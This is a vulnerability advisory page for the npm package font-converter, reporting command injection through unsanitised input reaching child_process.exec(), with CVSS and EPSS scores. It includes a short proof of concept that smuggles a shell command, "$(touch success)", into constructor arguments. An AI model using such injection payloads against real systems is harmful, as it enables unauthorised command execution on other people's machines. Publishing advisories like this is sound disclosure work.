Lucene search

K
osvGoogleOSV:GHSA-G2C3-VWFF-M3XR
HistoryAug 29, 2022 - 8:06 p.m.

Font-Converter Vulnerable to Arbitrary Command Injection

2022-08-2920:06:54
Google
osv.dev
4
font-converter
arbitrary command injection
fontforge

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

78.1%

Overview

font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC

var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}
CPENameOperatorVersion
font-converterle1.1.1

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

78.1%

Related for OSV:GHSA-G2C3-VWFF-M3XR